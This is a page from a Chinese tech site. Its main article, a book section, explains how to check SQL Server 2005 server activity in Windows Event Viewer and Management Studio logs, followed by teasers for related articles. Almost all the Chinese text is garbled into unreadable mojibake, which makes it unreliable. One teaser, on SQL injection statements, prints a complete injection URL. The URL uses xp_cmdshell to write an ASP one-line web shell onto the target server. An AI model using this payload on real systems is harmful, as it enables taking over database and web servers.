Ò׽ؽØͼÈí¼þ¡¢µ¥Îļþ¡¢Ãâ°²×°¡¢´¿ÂÌÉ«¡¢½ö160KB

SQL Server 2005ͨ¹ýÈÕÖ¾²é¿´·þÎñÆ÷µÄÔËÐÐÇé¿ö

4.6 ͨ¹ýÈÕÖ¾²é¿´·þÎñÆ÷µÄÔËÐÐÇé¿ö
SQL Server 2005¿ÉÒÔ½«Ä³Ð©ÏµÍ³Ê¼þºÍÓû§×Ô¶¨ÒåµÄʼþ¼Ç¼µ½SQL Server´íÎóÈÕÖ¾ºÍWindowsÓ¦ÓóÌÐòÈÕÖ¾ÖС£ÕâÁ½ÖÖÈÕÖ¾¶¼»á×Ô¶¯±êÉÏʱ¼ä¡£
4.6.1 ÔÚ¡¾Ê¼þ²é¿´Æ÷¡¿Öв鿴·þÎñÆ÷µÄÔËÐÐÇé¿ö
SQL Server 2005·þÎñÆ÷µÄÆô¶¯¡¢¹Ø±ÕºÍÔÝÍ£¶¯×÷£¬¶¼»á²úÉúÒ»¸öʼþ¼Ç¼£¬Õâ¸ö¼Ç¼½«»á¼ÇÔÚWindowsµÄ¡¾Ê¼þ²é¿´Æ÷¡¿ÖС£Èç¹ûÔÚ4.5.4½ÚÖÐΪSQL Server 2005·þÎñÆ÷ÉèÖõݲȫÐÔÀÉèÖÃÁ˵ǼÉóºËµÄ»°£¬ÄÇôֻҪ·ûºÏµÇ¼ÉóºËÌõ¼þµÄʼþ¼Ç¼£¬Ò²»á¼ÇÔÚWindowsµÄ¡¾Ê¼þ²é¿´Æ÷¡¿ÖУ¬ÏÂÃæ½éÉÜһϲ鿴 SQL Server 2005ʼþ¼Ç¼µÄ°ì·¨¡£
£¨1£©ÔÚ¼ÆËã»úµÄ¡¾¿ªÊ¼¡¿²Ëµ¥à¡¾¹ÜÀí¹¤¾ß¡¿à¡¾Ê¼þ²é¿´Æ÷¡¿£¬ÓÐЩ¶ÁÕߵIJ˵¥¿ÉÄܺͱÊÕߵIJ»Ò»Ñù£¬Ã»¹Øϵ£¬Ö»ÒªÊÇÕÒµ½¡¾Ê¼þ²é¿´Æ÷¡¿³ÌÐò¾ÍÐÐÁË¡£
£¨2£©ÔÚÈçͼ4.49Ëùʾ¡¾Ê¼þ²é¿´Æ÷¡¿¶Ô»°¿ò£¬Ñ¡Ôñ¡¾Ê¼þ²é¿´Æ÷£¨±¾µØ£©¡¿à¡¾Ó¦ÓóÌÐò¡¿Ñ¡ÏÔÚÓұߵÄÁбí¿òÀï¿ÉÒÔ¿´µ½ËùÓеÄʼþ¼Ç¼ÁÐ±í¡£
ͼ4.49 ¡¾Ê¼þ²é¿´Æ÷¡¿¶Ô»°¿ò
£¨3£©Ë«»÷ÆäÖÐÒ»¸öʼþ£¬½«µ¯³öÈçͼ4.50ËùʾµÄ¡¾Ê¼þÊôÐÔ¡¿¶Ô»°¿ò£¬ÔÚÕâÀï¿ÉÒÔ¿´µ½Ê¼þµÄÏêϸÄÚÈÝ¡£±¾ÀýÖÐÊÇÉóºË³É¹¦ÐÅÏ¢¡£Í¨¹ýÕâÒ»Ïî¿ÉÒÔ¿´³öÊÇ·ñÓкڿͳɹ¦ÈëÇÖ¡£
ͼ4.50 ¡¾Ê¼þÊôÐÔ¡¿¶Ô»°¿ò
£¨4£©ÔÚ¡¾Ê¼þ²é¿´Æ÷¡¿ÀïÓпÉÄܼǼÁ˸÷ÖÖ²»Í¬Ó¦ÓóÌÐòµÄʼþ¼Ç ¼£¬Èç¹ûÖ»Ïë²é¿´ºÍSQL ServerÓйصÄʼþ¼Ç¼µÄ»°£¬¿ÉÒÔÓÒ»÷¡¾Ó¦ÓóÌÐò¡¿£¬ÔÚµ¯³öµÄ¿ì½Ý²Ëµ¥ÀïÑ¡Ôñ¡¾²é¿´¡¿à¡¾É¸Ñ¡¡¿¡£Èçͼ4.51ËùʾµÄ¡¾Ó¦ÓóÌÐòÊôÐÔ¡¿¶Ô»°¿ò¡£ÔÚÕâÀï ¿ÉÒÔɸѡʼþÀàÐÍ¡¢Ê¼þÀ´Ô´¡¢Àà±ð¡¢Ê¼þʱ¼äµÈ¡£¾ßÌåɸѡÀý×ӾͲ»×¸ÊöÁË¡£
ͼ4.51 ¡¾Ó¦ÓóÌÐòÊôÐÔ¡¿¶Ô»°¿ò
×¢Ò⣺ÔÚʼþ²é¿´Æ÷ÀïµÄ¡¾°²È«ÐÔ¡¿¡¢¡¾ÏµÍ³¡¿ÀҲ»á¼ÇÔØ×ÅÓÚSQL Server 2005Ïà¹ØµÄʼþ¼Ç¼£¬²»ÒªÍü¼Ç²é¿´ËüÃÇ¡£ÔÚWindowsÓ¦ÓóÌÐòÈÕÖ¾À²»½ö½ö¼Ç¼Êý¾Ý¿âÆô¶¯Í£Ö¹ºÍÉí·ÝÉóºËÐÅÏ¢£¬»¹»áÍêÕûµØ¼Ç¼Windows²Ù×÷ϵͳÉÏ·¢ÉúµÄʼþ£¬ÒÔ¼°SQL ServerºÍSQL Server´úÀíÖеÄʼþ¡£
4.6.2 2005ÐÂÔö¹¦ÄÜ£ºÍ¨¹ýÈÕÖ¾²é¿´Æ÷²é¿´SQL ServerÈÕÖ¾
ÔÚSQL Server Management StudioÖв鿴SQL ServerÈÕÖ¾µÄ·½·¨ÈçÏ£º
£¨1£©Æô¶¯¡¾SQL Server Management Studio¡¿²¢Á¬½Óµ½SQL Server·þÎñÆ÷ÉÏ¡£
£¨2£©ÔÚ¡¾¶ÔÏó×ÊÔ´¹ÜÀíÆ÷¡¿ÖУ¬ÆÁ¿ª¡¾ÊµÀýÃû¡¿à¡¾¹ÜÀí¡¿à¡¾SQL ServerÈÕÖ¾¡¿£¬Èçͼ4.52Ëùʾ£¬¿ÉÒÔ¿´µ½SQL ServerµÄÈÕÖ¾´æµµ¡£
ͼ4.52 ²é¿´SQL ServerÈÕÖ¾
£¨3£©Ë«»÷ijһ¸öÈÕÖ¾´æµµ£¬Èçͼ4.53Ëùʾ¶Ô»°¿ò¡¾ÈÕÖ¾Îļ


Ïà¹ØÎĵµ£º

ÎåÖÖÌá¸ß SQL ÐÔÄܵķ½·¨

ÎåÖÖÌá¸ß SQL ÐÔÄܵķ½·¨
ÓÐʱ£¬ ΪÁËÈÃÓ¦ÓóÌÐòÔËÐеøü¿ì£¬Ëù×öµÄÈ«²¿¹¤×÷¾ÍÊÇÔÚÕâÀï»òÄÇÀï×öһЩºÜСµ÷Õû¡£°¡£¬µ«¹Ø¼üÔÚÓÚÈ·¶¨ÈçºÎ½øÐе÷Õû£¡³ÙÔçÄú»áÓöµ½ÕâÖÖÇé¿ö£ºÓ¦ÓóÌÐòÖÐµÄ SQL ²éѯ²»ÄÜ°´ÕÕÄúÏëÒªµÄ·½Ê½½øÐÐÏìÓ¦¡£ËüҪô²»·µ»ØÊý¾Ý£¬ÒªÃ´ºÄ·ÑµÄʱ¼ä³¤µÃ³öÆæ¡£Èç¹ûËü½µµÍÁ˱¨¸æ»òÄúµÄÆóÒµÓ¦ÓóÌÐòµÄËٶȣ¬Óû§±ØÐ ......

SQL Server: Inner Join¼°Outer Join, Natrual Jion

Ò»¡¢NATURAL JOIN£¨×ÔÈ»Á¬½Ó£©
     Á½Õűíͨ¹ýNATURAL JOINÁ¬½ÓµÄʱºò£¬Ï൱ÓÚÓиöÒþº¬µÄWHERE×Ӿ䣬¶ÔÁ½ÕűíÖÐͬÃûµÄ¶ÔÓ¦ÁÐÏà±È½Ï¿´ÊÇ·ñÏàµÈ¡£
¶þ¡¢CROSS JOIN£¨´´½¨µÑ¿¨¶û»ý£©
     ¶ÔÁ½Õűíͨ¹ý½»²æÁªºÏ²úÉúµÚÈýÕÅ·µ»Ø½á¹û¼¯µÄ±í¡£Ï൱ÓÚÆÕͨµÄÁ¬½Ó¡£
Èý¡¢INNER JOIN£ ......

×îÏêϸµÄSQL×¢ÈëÓï¾ä

×îÏêϸµÄSQL×¢ÈëÓï¾äÏà¹ØµÄÃüÁîÕûÀí
1¡¢    ÓÃ^תÒå×Ö·ûÀ´Ð´ASP(Ò»¾ä»°Ä¾Âí)ÎļþµÄ·½·¨:
   http://192.168.1.5/display.asp?keyno=1881;exec master.dbo.xp_cmdshell 'echo ^<script language=VBScript runat=server^>execute request^("l"^)^</script^> >c:\mu.asp';- ......

Oracleά»¤³£ÓÃSQLÓï¾ä»ã×Ü

ÈçºÎÔ¶³ÌÅжÏOracleÊý¾Ý¿âµÄ°²×°Æ½Ì¨
select * from v$version;
²é¿´±í¿Õ¼äµÄʹÓÃÇé¿ö
select sum(bytes)/(1024*1024) as free_space,tablespace_name
from dba_free_space
group by tablespace_name;
SELECT A.TABLESPACE_NAME,A.BYTES TOTAL,B.BYTES USED, C.BYTES FREE,
(B.BYTES*100)/A.BYTES "% USED",(C.BYTES ......

SQL Server Ë÷Òý½á¹¹¼°ÆäʹÓã¨Èý£©

ʵÏÖСÊý¾ÝÁ¿ºÍº£Á¿Êý¾ÝµÄͨÓ÷ÖÒ³ÏÔʾ´æ´¢¹ý³Ì
¡¡¡¡½¨Á¢Ò»¸ö Web Ó¦Ó㬷ÖÒ³ä¯ÀÀ¹¦Äܱز»¿ÉÉÙ¡£Õâ¸öÎÊÌâÊÇÊý¾Ý¿â´¦ÀíÖÐÊ®·Ö³£¼ûµÄÎÊÌâ¡£¾­µäµÄÊý¾Ý·ÖÒ³·½·¨ÊÇ:ADO ¼Í¼¼¯·ÖÒ³·¨£¬Ò²¾ÍÊÇÀûÓÃADO×Ô´øµÄ·ÖÒ³¹¦ÄÜ£¨ÀûÓÃÓα꣩À´ÊµÏÖ·ÖÒ³¡£µ«ÕâÖÖ·ÖÒ³·½·¨½öÊÊÓÃÓÚ½ÏСÊý¾ÝÁ¿µÄÇéÐΣ¬ÒòΪÓα걾ÉíÓÐȱµã£ºÓαêÊÇ´æ·ÅÔÚÄÚ´æÖУ¬ ......
© 2009 ej38.com All Rights Reserved. ¹ØÓÚE½¡ÍøÁªÏµÎÒÃÇ | Õ¾µãµØͼ | ¸ÓICP±¸09004571ºÅ